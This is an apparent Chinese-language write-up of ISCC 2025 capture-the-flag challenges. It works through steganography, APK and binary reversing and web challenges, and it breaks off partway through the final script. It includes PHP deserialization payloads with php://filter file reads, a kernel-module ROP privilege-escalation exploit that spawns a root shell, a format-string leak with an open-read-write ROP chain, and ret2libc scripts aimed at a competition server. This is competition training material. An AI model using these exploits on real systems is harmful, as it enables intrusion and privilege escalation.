2025 ISCC 区域赛及决赛WP(除八卦)

admin 2025年5月20日03:21:35评论2 views字数 20950阅读69分50秒阅读模式

免责声明:本文章发布于ISCC比赛正式结束后,不存在提前泄露比赛信息及违规泄露wp的情况,作者不对读者基于本文内容而产生的任何行为或后果承担责任。如有任何侵权问题,请联系作者删除。

Misc

神经网络迷踪

下载附件发现是一个.pth文件,一开始想到会不会是藏在神经网络模型里面了,就写了个exp,查找模型中有关ISCC和PASSWORD的东西

Exp1:

import torch

import numpy as np

def search_hidden_password(file_path, target="ISCC"):

try:

# 安全加载模型文件

model_data = torch.load(file_path, map_location='cpu', weights_only=True)

print(f"n=== 开始在模型中搜索 '{target}' ===")

found = False

# 1. 检查模型元数据(如果有)

if hasattr(model_data, '__dict__'):

for attr_name, attr_value in model_data.__dict__.items():

if isinstance(attr_value, str) and target in attr_value:

print(f"[元数据] 在属性 {attr_name} 中发现: {attr_value}")

found = True

# 2. 检查模型结构

if isinstance(model_data, torch.nn.Module):

# 检查模型类名

if target in model_data.__class__.__name__:

print(f"[结构] 模型类名包含: {model_data.__class__.__name__}")

found = True

# 检查所有层名称

for name, _ in model_data.named_modules():

if target in name:

print(f"[结构] 层名称包含: {name}")

found = True

# 检查state_dict键名

for name in model_data.state_dict().keys():

if target in name:

print(f"[参数] 参数名包含: {name}")

found = True

# 3. 检查字典格式数据

elif isinstance(model_data, dict):

for key, value in model_data.items():

# 检查键名

if target in str(key):

print(f"[字典] 键名包含: {key}")

found = True

# 检查字符串值

if isinstance(value, str) and target in value:

print(f"[字典] 值包含: {value}")

found = True

# 检查张量中的特殊值(如果是数值密码)

if isinstance(value, torch.Tensor):

tensor = value.numpy()

if np.any(tensor == ord(target[0])):  # 简单检查首字符ASCII

print(f"[张量] 在张量 {key} 中检测到可能编码:")

print(tensor)

# 4. 检查原始字节数据(深度搜索)

with open(file_path, 'rb') as f:

raw_data = f.read()

if target.encode('utf-8') in raw_data:

offset = raw_data.find(target.encode('utf-8'))

print(f"[原始数据] 在文件偏移量 {offset} 处发现原始字节数据")

found = True

if not found:

print("未发现明显密码痕迹,可能需要更深入的分析")

print("建议检查:")

print("1. 权重中的特殊数值模式")

print("2. 特定层的参数排列")

print("3. 模型注释或版本信息")

except Exception as e:

print(f"n错误发生: {str(e)}")

# 使用示例

pthfile = r'attachment-38.pth'

search_hidden_password(pthfile)

# 也可以搜索其他可能的密码形式

# search_hidden_password(pthfile, "FLAG")

# search_hidden_password(pthfile, "PASSWORD")

跑出以下内容:

2025 ISCC 区域赛及决赛WP(除八卦)

怀疑是浮点矩阵,于是继续写脚本尝试各种转换,跑出下列编码:ascll编码exp(其它脚本不一一展示,超内存了):exp2:

# tensor = [[ 50, 48, 50, 53,209,224,210,13,139,238,256,226,79,186,198,161],[109,179, 53,193, 73, 83, 67, 67,184,226,146,18,99,91,32, 90],[ 80,199,218,227,204,192,245,113,50, 48, 50, 53,128,163,94,243],[ 66,113,202,196,12,219,73,200,13,194,199, 14, 75, 69,89, 33]]# 你的张量数据

#

# for row in tensor:

# decoded = ''.join([chr(int(round(x))) for x in row if 0 <= x <= 255])

# print(decoded)

import numpy as np

def extract_ascii_from_tensor(tensor, printable_only=True):

chars = []

for val in tensor.flatten():

intval = int(val)

if 32 <= intval <= 126:  # 可打印 ASCII 范围

chars.append(chr(intval))

else:

chars.append('.' if printable_only else f'\x{intval:02x}')

return ''.join(chars)

# 手动复制你之前发现的张量内容

tensor_data = np.array([

[ 50.,  48.,  50.,  53., 209., 224., 210.,  13., 139., 238., 256., 226.,  79., 186., 198., 161.],

[109., 179.,  53., 193.,  73.,  83.,  67.,  67., 184., 226., 146.,  18.,  99.,  91.,  32.,  90.],

[ 80., 199., 218., 227., 204., 192., 245., 113.,  50.,  48.,  50.,  53., 128., 163.,  94., 243.],

[ 66., 113., 202., 196.,  12., 219.,  73., 200.,  13., 194., 199.,  14.,  75.,  69.,  89.,  33.]

])

ascii_output = extract_ascii_from_tensor(tensor_data)

print(">>> 转换后的 ASCII 字符序列:n")

print(ascii_output)

2025 ISCC 区域赛及决赛WP(除八卦)
2025 ISCC 区域赛及决赛WP(除八卦)

‹îâOºÆ¡

m³5ÁISCC¸â’_x0012_c[ Z

PÇÚãÌÀõq2025€£^ó

ÂÇ

KEY!

最后,根据以下提示,猜测是有个zip,就尝试把源文件换成zip后解压,成功了。

2025 ISCC 区域赛及决赛WP(除八卦)

方向这个模型文件夹后面跟着东西,猜测是密码,套上模板提交,成功

Flag:ISCC{rDSs}

Web

一.谁动了我的奶酪

进入后猜测是tom后发现php代码

2025 ISCC 区域赛及决赛WP(除八卦)

发现是反序列化,构造exp

<?php

class Jerry {

public $secretHidingSpot;

public $squeak;

public $shout;

}

class Cheese {

public $flavors;

public $color; 

}

$jerry = new Jerry();

$jerry->secretHidingSpot = "php://filter/convert.base64-encode/resource=clue.php";

$cheese = new Cheese();

$cheese->color = serialize($jerry);

$payload = serialize($cheese);

echo urlencode($payload);

?>

2025 ISCC 区域赛及决赛WP(除八卦)

解码后发现下一个在flag_of_cheese.php

构造exp

<?php

class Jerry {

public $secretHidingSpot;

public $squeak;

public $shout;

}

class Cheese {

public $flavors;

public $color;

}

$jerry = new Jerry();

$jerry->secretHidingSpot = "php://filter/convert.base64-encode/resource=flag_of_cheese.php";

$cheese = new Cheese();

$cheese->color = serialize($jerry);

$payload = serialize($cheese);

echo urlencode($payload);

构造后出现

2025 ISCC 区域赛及决赛WP(除八卦)
2025 ISCC 区域赛及决赛WP(除八卦)

获得一半的flag,发现网页是cheeseone,尝试访问cheesetwo

2025 ISCC 区域赛及决赛WP(除八卦)

抓包后发现有jwt

2025 ISCC 区域赛及决赛WP(除八卦)
根据源码中提示修改jwt
2025 ISCC 区域赛及决赛WP(除八卦)

后发送访问网页

2025 ISCC 区域赛及决赛WP(除八卦)
根据提示ox16解密后得到flag
2025 ISCC 区域赛及决赛WP(除八卦)

二.iscc购物中心.com

进入尝试登录账号1密码1登录成功

积分9999
2025 ISCC 区域赛及决赛WP(除八卦)

改为积分兑换后兑换出flag

2025 ISCC 区域赛及决赛WP(除八卦)
2025 ISCC 区域赛及决赛WP(除八卦)

base64解密:The final encryption here seems to be the same as Tom's cheese system encryption

使用上一题的脚本

string1 = "_EUUmpVxbw#b7uE~&ff7xq%nfSd7sxusk"

# 将字符串转换为字节

byte_data = string1.encode('utf-8')

# 异或 0x16 解密

decrypted = bytes([b ^ 0x16 for b in byte_data])

# 输出解密结果

print(decrypted.decode('utf-8', errors='ignore'))

得到flag:ISCC{f@nta5t!cSh0pp!ng3xpEr!ence}

MOBILE

一.叽米是梦的开场白

备份后,修改apk后缀为zip进行解压获得软件的目录

2025 ISCC 区域赛及决赛WP(除八卦)

apk文件放入JEB中进行逆向分析

发现关键有关于验证的函数getEncryptedSegment checkFlag2

2025 ISCC 区域赛及决赛WP(除八卦)

将解压出来的libmobile04.so文件放入ida中

Java_com_example_mobile04_MainActivity_getEncryptedSegment中拿到dex字段

2025 ISCC 区域赛及决赛WP(除八卦)
2025 ISCC 区域赛及决赛WP(除八卦)

ida打开libmonday.soJava_com_example_mobile04_a_checkFlag2中发现加密算法

2025 ISCC 区域赛及决赛WP(除八卦)

ida打开libSunday.soJava_com_example_mobile04_Sunday_getKey中获得字符串BA8FugUktCgODvnI3aem9fLL

2025 ISCC 区域赛及决赛WP(除八卦)

Des解密即可获得前半段flag

用脚本解密enreal用ida打开decode_enreal,并打开real_check函数同时获取key和字符串 

2025 ISCC 区域赛及决赛WP(除八卦)

cyberchef中获取后半截字符串

2025 ISCC 区域赛及决赛WP(除八卦)

将两段拼在一起然后套ISCC{}壳即可

Exp

# 创建一个空的 DEX 文件

s = [4Eh,60h,28h,58h,53h,60h,6Bh,29h]

with open("decrypted.dex", "wb") as f:

f.write(bytes(s))

# 读取加密文件 enreal

with open("enreal", "rb") as f:

data = list(f.read())

# 解密过程

for i in range(len(data)):

data[i] = (data[i] << 2) | (data[i] >> 6)

data[i] &= 0xff

data[i] ^= 0x59

data[i] = (data[i] >> 3) | (data[i] << 5)

data[i] &= 0xff

# 写入解密后的数据

with open("decode_enreal", "wb") as f:

f.write(bytes(data))

二.GGAD

反编译APK,在Mainfest修改入口Activity进入主界面

随便输入一下,提示错误

2025 ISCC 区域赛及决赛WP(除八卦)

在存放png的res中查找png,在Pa.zip压缩包中,Png614是一个py脚本

2025 ISCC 区域赛及决赛WP(除八卦)

将此隐写脚本修改对图片进行逐一测试

from PIL import Imageimport numpy as npimport sysTERMINATOR = chr(0x03)def enc(input_path, output_path, data):"""将字符串 data 隐写到 RGBA 图像的 Alpha 通道最低位中"""img = Image.open(input_path).convert('RGBA')    pixels = np.array(img)    # 添加终止符并转为二进制data += TERMINATOR    binary_data = ''.join(format(ord(c), '08b') for c in data)    index = 0    height, width = pixels.shape[:2]    for i in range(height):        for j in range(width):            if index >= len(binary_data):                break            r, g, b, a = pixels[i, j]            a = (a & 0xFE) | int(binary_data[index])  # 修改 Alpha 的最低位pixels[i, j] = [r, g, b, a]            index += 1        if index >= len(binary_data):            break    if index < len(binary_data):        print("WARN: image too small, data truncated.")    new_img = Image.fromarray(pixels)    new_img.save(output_path)    print(f"Encoded: {output_path}")def dec(input_path):"""从图像中提取隐藏数据"""img = Image.open(input_path).convert('RGBA')    pixels = np.array(img)    binary_str = ""    result = ""    height, width = pixels.shape[:2]    for i in range(height):        for j in range(width):            _, _, _, a = pixels[i, j]            bit = a & 1            binary_str += str(bit)            if len(binary_str) == 8:                char = chr(int(binary_str, 2))                if char == TERMINATOR:                    print("Terminator found.")                    return result                result += char                binary_str = ""    print("WARN: No terminator found.")    return resultdef usage():    print("Usage:")    print("  python exp.py enc <input_img> <output_img> <data>")    print("  python exp.py dec <input_img>")if __name__ == "__main__":    if len(sys.argv) < 3:        usage()        sys.exit(1)    mode = sys.argv[1].lower()    if mode == "enc":        if len(sys.argv) != 5:            print("Args error for enc")            usage()            sys.exit(1)        input_img, output_img, secret_data = sys.argv[2:5]        enc(input_img, output_img, secret_data)    elif mode == "dec":        if len(sys.argv) != 3:            print("Args error for dec")            usage()            sys.exit(1)        decoded_data = dec(sys.argv[2])        if decoded_data:            print("Decoded data:")            print(decoded_data)        else:            print("No data or empty.")    else:        print(f"Invalid mode: {mode}. Use 'enc' or 'dec'.")        sys.exit(1)

在这个图片中找到Key

2025 ISCC 区域赛及决赛WP(除八卦)

将密文放进脚本运行即可

Exp

import binascii

import sys

# 配置参数

K_IMG_STR = "ExpectoPatronum"

ODD_HEX = ""

VIG_CT_STR = ""

def h2b(h_str):

return bin(int(h_str, 16))[2:].zfill(len(h_str) * 4)

def b2h(b_str):

return hex(int(b_str, 2))[2:].upper().zfill(len(b_str) // 4)

def inv(b_str):

return "".join(['1' if b == '0' else '0' for b in b_str])

def b2hp(b_str):

if len(b_str) % 8 != 0:

raise ValueError("Binary string length must be a multiple of 8")

return "".join([hex(int(b_str[i:i+8], 2))[2:].upper().zfill(2) for i in range(0, len(b_str), 8)])

def ksa(k_b):

s_l = list(range(256))

j = 0

for i in range(256):

j = (j + s_l[i] + k_b[i % len(k_b)]) % 256

s_l[i], s_l[j] = s_l[j], s_l[i]

return s_l

def prga_dec(s_in, ct_b):

i = j = 0

pt_b = bytearray()

s_l = list(s_in)

for char_b in ct_b:

i = (i + 1) % 256

j = (j + s_l[i]) % 256

s_l[i], s_l[j] = s_l[j], s_l[i]

ks_b = s_l[(s_l[i] + s_l[j]) % 256]

pt_b.append(char_b ^ ks_b)

return bytes(pt_b)

def vg_dec(c_str, k_str):

res = []

k_idx = 0

for c in c_str:

if c.upper().isalpha():

k = k_str[k_idx % len(k_str)]

val_c = ord(c.upper()) - ord('A')

val_k = ord(k.upper()) - ord('A')

dec_v = (val_c - val_k + 26) % 26

res.append(chr(dec_v + ord('A')))

k_idx += 1

else:

res.append(c)

return "".join(res)

def main():

# 解 Vigenère 得到 EVEN_HEX

even_hex = vg_dec(VIG_CT_STR, K_IMG_STR)

if len(ODD_HEX) != len(even_hex):

raise ValueError(f"Odd ({len(ODD_HEX)}) and Even ({len(even_hex)}) lengths differ!")

# 交错合并 HEX 字符

i3_recon = "".join([ODD_HEX[i] + even_hex[i] for i in range(len(ODD_HEX))])

# 处理二进制/取反/转回 HEX

inv_i2_bin = h2b(i3_recon)

i2_recon_bin = inv(inv_i2_bin)

i1_recon_hex = b2hp(i2_recon_bin)

# RC4 解密过程

try:

rc4_ct_bytes = binascii.unhexlify(i1_recon_hex)

except binascii.Error as e:

print(f"[!] Error converting hex to bytes: {e}")

sys.exit(1)

rc4_k_bytes = K_IMG_STR.encode('ascii')

s_box_val = ksa(rc4_k_bytes)

flag_b = prga_dec(s_box_val, rc4_ct_bytes)

try:

flag_s = flag_b.decode('utf-8')

except UnicodeDecodeError:

print("[!] Failed to decode the flag. Wrong key or corrupted data.")

sys.exit(1)

print(f"ISCC{{{flag_s}}}")

if __name__ == "__main__":

main()

Reverse

一.打出flag

python小游戏使用pyinstxtractor-master进行解包且且反编译主函数pyc

2025 ISCC 区域赛及决赛WP(除八卦)

得到代码

2025 ISCC 区域赛及决赛WP(除八卦)

运行有

2025 ISCC 区域赛及决赛WP(除八卦)

分析发现

凯撒加密和base编码和字符替换

凯撒加密的shift为5

2025 ISCC 区域赛及决赛WP(除八卦)

Exp

import base64

def caesar_cipher(s: str, shift: int) -> str:

return ''.join(

chr((ord(c) - ord('a') + shift) % 26 + ord('a')) if c.islower() else

chr((ord(c) - ord('A') + shift) % 26 + ord('A')) if c.isupper() else c

for c in s

)

def decode_base64(s: str) -> str:

try:

return base64.b64decode(s).decode('utf-8', errors='ignore')

except Exception as e:

return f"解码失败: {e}"

def reverse_chars(s: str) -> str:

return ''.join(

chr(155 - ord(c)) if c.isupper() else

chr(219 - ord(c)) if c.islower() else c

for c in s

)

if __name__ == "__main__":

input_str = "ZpmDBMytVs5Bi0NvBYN4CoA+AXV5AMR0EBp8BYy9"

shifted = caesar_cipher(input_str, 21)

decoded = decode_base64(shifted)

final = reverse_chars(decoded)

print(f"凯撒加密后: {shifted}")

print(f"base64 解码结果: {decoded}")

print(f"reverse_char_encryption 后最终结果: {final}")

二.uglyCpp

将文件放入ida

2025 ISCC 区域赛及决赛WP(除八卦)

阅读代码涉及:

异或解密xor_decrypt):将密钥与结果进行逐位 ^ 运算。

十六进制字符串转字符并逆序拼接hex_list_to_string):将每个异或后的十六进制结果还原为字符。

字符映射还原remap_string):用预定义的映射表恢复最终 flag。

获取key和rec攥写脚本

Key:

2025 ISCC 区域赛及决赛WP(除八卦)

Rec:

2025 ISCC 区域赛及决赛WP(除八卦)

Exp

原始密钥和加密结果key = [    0x3ED6325B, 0xD709BF17, 0xE3F27E18,    0xA0870791, 0x0146D6F9, 0x7C6140FF,    0x10B69406, 0x94DDE0F6, 0x40B2BB6C]res = [    0x77AC540E,    0x943DD524,    0x0AC972765,    0x0C8B376C2,    0x3425BE82,    0x80814B6,    0x53D7E36A,    0x0C0EBAFB5,    0x0AD3C10A]解密第一步:XOR 计算def xor_decrypt(keys, results):    return [hex(k ^ r) for k, r in zip(keys, results)]解密第二步:从十六进制字符串恢复字符,逆序拼接def hex_list_to_string(hex_list):    decoded = ""    for hex_str in hex_list:        hex_str = hex_str[2:]  # 去掉 '0x'        chars = [chr(int(hex_str[i:i+2], 16)) for i in range(0, len(hex_str), 2) if i + 1 < len(hex_str)]        decoded += ''.join(chars[::-1])  # 每段倒序拼接return decoded解密第三步:根据映射规则还原原始字符串def remap_string(flag, source_map, target_map):    return ''.join(flag[target_map.index(ch)] for ch in source_map)主函数def main():    xor_result = xor_decrypt(key, res)    print("XOR 解密结果:", xor_result)    decoded_flag = hex_list_to_string(xor_result)    print("Decoded flag:", decoded_flag)    # 字符映射mapping_source = "1234567890abcdefghijklmnopqrstuvwxyz"    mapping_target = "vfw8xgy4zh9i2j0k5lam1nbo6pcq3rds7teu"    final_flag = remap_string(decoded_flag, mapping_source, mapping_target)    print("Final flag:", final_flag)if __name__ == "__main__":    main()

三.Crack Me

进入主函数

2025 ISCC 区域赛及决赛WP(除八卦)

提取字符串

2025 ISCC 区域赛及决赛WP(除八卦)
2025 ISCC 区域赛及决赛WP(除八卦)

0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13, 

0x5C, 0x46, 0xA6, 0xF0, 0x56, 0x81, 0x84, 0xE6, 0x8E, 0xEE, 

0x26, 0x9A, 0x12, 0x28, 0x49, 0x6B, 0xAA, 0xE8, 0xBB, 0x24, 

0x87, 0x3F, 0xFA, 0x15, 0x57, 0x17, 0xD4, 0x91, 0xE3, 0xFE, 

0x35, 0x74

脚本运行

2025 ISCC 区域赛及决赛WP(除八卦)

Exp

def rc4(key: bytes, data: bytearray) -> bytearray:"""RC4 加密/解密(key: 密钥字节,data: 加密数据(bytearray 可变))"""s = list(range(256))    j = 0    # KSA 密钥调度算法for i in range(256):        j = (j + s[i] + key[i % len(key)]) % 256        s[i], s[j] = s[j], s[i]    # PRGA 伪随机生成并异或i = j = 0    for q in range(len(data)):        i = (i + 1) % 256        j = (j + s[i]) % 256        s[i], s[j] = s[j], s[i]        t = (s[i] + s[j]) % 256        data[q] ^= s[t]    return datadef reverse_caesar(byte_arr: bytearray) -> bytearray:"""逆向 Caesar 密码(偏移 -3,支持大小写字母)"""for i in range(len(byte_arr)):        b = byte_arr[i]        if 97 <= b <= 122:  # 'a' - 'z'            byte_arr[i] = (b - 97 + 23) % 26 + 97        elif 65 <= b <= 90:  # 'A' - 'Z'            byte_arr[i] = (b - 65 + 23) % 26 + 65    return byte_arrdef extract_final(flag: bytearray) -> str:"""每两个字节中取第一个并与 0x41 异或,构造结果"""return ''.join([chr(flag[i] ^ 0x41) for i in range(0, len(flag), 2)])def main():    flag = bytearray([        0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,        0x5C, 0x46, 0xA6, 0xF0, 0x56, 0x81, 0x84, 0xE6, 0x8E, 0xEE,        0x26, 0x9A, 0x12, 0x28, 0x49, 0x6B, 0xAA, 0xE8, 0xBB, 0x24,        0x87, 0x3F, 0xFA, 0x15, 0x57, 0x17, 0xD4, 0x91, 0xE3, 0xFE,        0x35, 0x74    ])    key = b"SecretKey"    # Step 1: RC4 解密rc4(key, flag)    # Step 2: 逆向 Caesar 密码(偏移 -3reverse_caesar(flag)    # Step 3: 每两个字节异或 0x41    result = extract_final(flag)    print("解密结果:", result)if __name__ == "__main__":    main()

PWN

一.easybee

1.

           启动脚本加载了 core.ko 内核模块;

系统未开启 KPTI,存在 KASLR,/proc/kallsyms 可读;

模块创建了 /proc/core 接口,存在栈溢出漏洞,可进行提权利用。

2.利用流程

1.读取内核符号地址

利用 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred 函数地址。

2.信息泄露

利用 ioctl 功能读取内核栈中的 canary 值,防止溢出被检测。

3.构造 ROP 链

设置偏移;

构造 payload,包括 canary、padding、ROP 链;

写入 /proc/core 并触发漏洞,调用 commit_creds(prepare_kernel_cred(0)) 提权;

使用 swapgs; iretq 返回用户态并执行 shell。

3.泄露符号地址的 Python 脚本

# get_kernel_symbol.py

def get_symbol(name, path="/tmp/kallsyms"):

with open(path) as f:

for line in f:

parts = line.strip().split()

if len(parts) >= 3 and parts[2] == name:

return int(parts[0], 16)

return 0

if __name__ == "__main__":

commit_creds = get_symbol("commit_creds")

prepare_kernel_cred = get_symbol("prepare_kernel_cred")

print(f"commit_creds: {hex(commit_creds)}")

print(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")

4.主利用脚本(Python)

# exp.py

import os

import struct

import fcntl

# IOCTL commands

READ = 0x6677889B

WRITE = 0x6677889A

SET_OFFSET = 0x6677889C

DEVICE = "/proc/core"

# 获取用户态寄存器值

def save_state():

from ctypes import CDLL, c_ulonglong, POINTER

libc = CDLL("libc.so.6")

class URegs(ctypes.Structure):

_fields_ = [("cs", c_ulonglong), ("ss", c_ulonglong),

("rsp", c_ulonglong), ("rflags", c_ulonglong)]

regs = URegs()

# 如果内核没有保护 /dev/kvm,或者处于调试状态,可写更真实的代码

regs.cs = 0x33

regs.ss = 0x2b

regs.rsp = 0

regs.rflags = 0x202

return regs.cs, regs.ss, regs.rsp, regs.rflags

def get_symbols():

from get_kernel_symbol import get_symbol

commit_creds = get_symbol("commit_creds")

prepare_kernel_cred = get_symbol("prepare_kernel_cred")

return commit_creds, prepare_kernel_cred

def pack(val): return struct.pack("<Q", val)

def exploit():

cs, ss, rsp, rflags = save_state()

commit_creds, prepare_kernel_cred = get_symbols()

fd = os.open(DEVICE, os.O_RDWR)

# 设置偏移

fcntl.ioctl(fd, SET_OFFSET, 0x40)

# 泄露 canary

leak = os.read(fd, 0x400)

canary = struct.unpack("<Q", leak[:8])[0]

print(f"[+] Leaked canary: {hex(canary)}")

# ROP gadgets(手动分析 core.ko + kallsyms 得到)

pop_rdi = 0xffffffff81063b39

pop_rdx = 0xffffffff810caa22

mov_rdi_rax_call_rdx = 0xffffffff810e5163

iretq = 0xffffffff81a00f0a + 22

# 构造 payload

payload = b"A" * 0x20        # buffer

payload += b"B" * 0x18       # padding 到 canary

payload += pack(canary)     # canary

payload += b"C" * 8          # old rbp

# ROP chain

payload += pack(pop_rdi)

payload += pack(0)

payload += pack(prepare_kernel_cred)

payload += pack(pop_rdx)

payload += pack(commit_creds)

payload += pack(mov_rdi_rax_call_rdx)

payload += pack(iretq)

payload += pack(id(get_shell))  # rip

payload += pack(cs)

payload += pack(rflags)

payload += pack(rsp)

payload += pack(ss)

# 写入并触发溢出

os.write(fd, payload)

fcntl.ioctl(fd, WRITE, 0)

def get_shell():

if os.getuid() == 0:

print("[+] Got root shell!")

os.system("/bin/sh")

else:

print("[-] Exploit failed.")

if __name__ == "__main__":

exploit()

Exp

import os

import struct

import fcntl

# IOCTL 常量

CORE_COPY_FUNC = 0x6677889A

CORE_READ = 0x6677889B

CORE_CHANGE_OFFSET = 0x6677889C

# 基址与Gadget偏移

commit_creds_base = 0xFFFFFFFF8109C8E0

swapgs_popfq_ret = 0xffffffff81a012da

movrdirax_callrdx = 0xffffffff8101aa6a

poprdx_ret = 0xffffffff810a0f49

poprdi_ret = 0xffffffff81000b2f

poprcx_ret = 0xffffffff81021e53

iretq = 0xFFFFFFFF81A00987

commit_creds = 0

prepare_kernel_cred = 0

user_cs = user_ss = user_sp = user_rflags = 0

def save_status():

global user_cs, user_ss, user_sp, user_rflags

# 这部分需要内联汇编,Python 无法做到,仅作占位

user_cs = 0x33

user_ss = 0x2b

user_sp = 0xdeadbeef  # 模拟值

user_rflags = 0x202

print("[*] Status has been saved.")

def get_function_address():

global commit_creds, prepare_kernel_cred

try:

with open("/tmp/kallsyms", "r") as f:

for line in f:

parts = line.strip().split()

if len(parts) < 3:

continue

addr, _type, name = parts

if name == "commit_creds":

commit_creds = int(addr, 16)

print(f"[+] commit_creds: {hex(commit_creds)}")

elif name == "prepare_kernel_cred":

prepare_kernel_cred = int(addr, 16)

print(f"[+] prepare_kernel_cred: {hex(prepare_kernel_cred)}")

if commit_creds and prepare_kernel_cred:

break

except FileNotFoundError:

print("[-] /tmp/kallsyms not found")

exit(1)

def core_read(fd):

buf = bytearray(0x100)

fcntl.ioctl(fd, CORE_READ, buf)

return buf

def change_offset(fd, off):

fcntl.ioctl(fd, CORE_CHANGE_OFFSET, off)

def core_copy_func(fd, nbytes):

fcntl.ioctl(fd, CORE_COPY_FUNC, nbytes)

def print_binary(buf):

for i in range(0, len(buf), 16):

chunk = buf[i:i+16]

hex_str = ' '.join(f'{b:02x}' for b in chunk)

ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)

print(f'{i:04x}  {hex_str:<48}  {ascii_str}')

def shell():

if os.getuid() != 0:

print("[-] Failed to get root.")

exit(1)

print("[+] Got root! Launching shell...")

os.system("/bin/sh")

def main():

save_status()

try:

fd = os.open("/proc/core", os.O_RDWR)

except FileNotFoundError:

print("[-] Cannot open /proc/core")

return

get_function_address()

offset = commit_creds - commit_creds_base

print(f"[*] KASLR offset: {hex(offset)}")

change_offset(fd, 0x40)

buf = core_read(fd)

print("[*] Buffer content:")

print_binary(buf)

canary = struct.unpack_from("<Q", buf, 0)[0]

print(f"[*] Canary: {hex(canary)}")

# 构造ROP链

rop = [0] * 100

idx = 0

for _ in range(10):

rop[idx] = canary

idx += 1

rop[idx] = poprdi_ret + offset; idx += 1

rop[idx] = 0; idx += 1

rop[idx] = prepare_kernel_cred; idx += 1

rop[idx] = poprdx_ret + offset; idx += 1

rop[idx] = poprcx_ret + offset; idx += 1

rop[idx] = movrdirax_callrdx + offset; idx += 1

rop[idx] = commit_creds; idx += 1

rop[idx] = swapgs_popfq_ret + offset; idx += 1

rop[idx] = 0; idx += 1

rop[idx] = iretq + offset; idx += 1

rop[idx] = id(shell); idx += 1  # shell函数地址

rop[idx] = user_cs; idx += 1

rop[idx] = user_rflags; idx += 1

rop[idx] = user_sp; idx += 1

rop[idx] = user_ss; idx += 1

rop_bytes = struct.pack("<" + "Q"*len(rop), *rop)

print("[*] ROP Chain:")

print_binary(rop_bytes)

os.write(fd, rop_bytes)

core_copy_func(fd, 0xffffffffffff1000)

if __name__ == "__main__":

main()

二.Dilemma

将靶机文件检查发现有64位 Canary nx保护

2025 ISCC 区域赛及决赛WP(除八卦)

主函数:

2025 ISCC 区域赛及决赛WP(除八卦)

泄露信息(Func_1)利用 Func_1 中存在的格式化字符串漏洞,泄露栈上的 canarylibc 基址Func_1 的第二个输入点可以任意输入,在发送完恶意格式化字符串后,函数正常退出,程序回到主菜

2025 ISCC 区域赛及决赛WP(除八卦)

· 进入主功能(Func_0)之后选择菜单项 2,进入 Func_0 函数。

· 构造 ORW(Open-Read-Write)攻击由于目标程序禁用了 execve,所以我们不能直接执行 shell,而是选择 ORW 链读取文件内容。

· ROP 设计

Func_0 提供了 0x100 字节的输入空间,足够用于 ROP。

利用 ROP 将栈迁移(stack pivot)到 .bss 段(通常可读可写),为后续调用准备空间。

 .bss 段中写入目标文件名字符串(如 ./flag.txt)。

· 最后构造完整的 ROP 链

使用 open 打开 ./flag.txt

使用 read 读取文件内容到 .bss+offset

使用 write 输出到 stdout

2025 ISCC 区域赛及决赛WP(除八卦)

Exp

from pwn import *

# ==== 配置部分 ====

context(arch='amd64', log_level='debug', os='linux')

elf = ELF('./pwn')

libc = ELF('./libc.so.6')

# p = process('./pwn')

p = remote('101.200.155.151', 12500)

# ==== ROP gadgets ====

pop_rdi = 0x40119a

pop_rsi_r15 = 0x40119c

ret = 0x40101a

bss = 0x404000 + 0x900

# ==== Leak libc + canary ====

p.recvuntil("where are you go?n")

p.sendline("1")

p.recvuntil("Enter you password:n")

payload_leak = b'%39$p%11$p'

p.sendline(payload_leak)

# 解析泄露信息

p.recvuntil("0x")

libc_start_main_ret = int(p.recv(12), 16) - 128

libc_base = libc_start_main_ret - libc.sym['__libc_start_main']

p.recvuntil("0x")

canary = int(p.recv(16), 16)

log.success(f"Libc base: {hex(libc_base)}")

log.success(f"Canary: {hex(canary)}")

# ==== Stack pivot(再次进入菜单)====

p.recvuntil("I will check your password:")

p.send(b'a'*8)

p.recvuntil("where are you go?n")

p.sendline("2")

p.recvuntil("We have a lot to talk aboutn")

pivot_payload = b'a'*0x28 + p64(canary) + p64(bss + 0x30) + p64(0x4011C9) # ret to read again into BSS

p.send(pivot_payload)

p.recvuntil("a"*0x28)

# ==== 准备第二段 ROP (读取 flag) ====

# 计算 libc 函数地址

pop_rdx_r12 = libc_base + 0x11f2e7 # 假设该 gadget 是 v3.33 的

open_addr = libc_base + libc.sym['open']

read_addr = libc_base + libc.sym['read']

write_addr = libc_base + libc.sym['write']

# 组成 payload2

flag_path = b'./flag.txt'.ljust(0x28, b'x00')

rop = flat(

p64(canary),

p64(0),  # old rbp

p64(pop_rdi), p64(bss),                    # open('./flag.txt', 0)

p64(pop_rsi_r15), p64(0), p64(0),

p64(open_addr),

p64(pop_rdi), p64(3),                      # read(3, bss+0x200, 0x50)

p64(pop_rsi_r15), p64(bss + 0x200), p64(0),

p64(pop_rdx_r12), p64(0x50), p64(0),

p64(read_addr),

p64(pop_rdi), p64(1),                      # write(1, bss+0x200, 0x50)

p64(pop_rsi_r15), p64(bss + 0x200), p64(0),

p64(pop_rdx_r12), p64(0x50), p64(0),

p64(write_addr)

)

payload2 = flag_path + rop

log.info(f"Final payload size: {hex(len(payload2))}")

p.send(payload2)

# ==== 打开交互 ====

p.interactive()

三.call

So文件保护情况:

2025 ISCC 区域赛及决赛WP(除八卦)

elf放入ida并打开主函数中的name()发现栈溢出漏洞

2025 ISCC 区域赛及决赛WP(除八卦)

但是并没有后门,打ret2libc即可

2025 ISCC 区域赛及决赛WP(除八卦)

Exp

from pwn import *

context.log_level = 'debug'

context.binary = './ltPWN1'

elf = context.binary

libc = ELF("./pwn2.so")

# io = process(elf.path)

io = remote("101.200.155.151", 12100)

# Gadgets

pop_rdi = 0x401273 # pop rdi ; ret

pop_rsi_r15 = 0x401271 # pop rsi ; pop r15 ; ret

write_plt = elf.plt["write"]

write_got = elf.got["write"]

def leak_libc_base():

io.recvuntil("name isn")

payload = flat(

b'a' * 0x68,

pop_rsi_r15,

write_got, 0,         # rsi=write@got, r15=dummy

elf.symbols['write']  # call write@plt to leak libc addr

)

io.send(payload)

leaked_write = u64(io.recv(6).ljust(8, b'x00'))

log.success(f"Leaked write@libc: {hex(leaked_write)}")

libc_base = leaked_write - libc.sym["write"]

log.success(f"Libc base: {hex(libc_base)}")

return libc_base

def exploit(libc_base):

system = libc_base + libc.sym["system"]

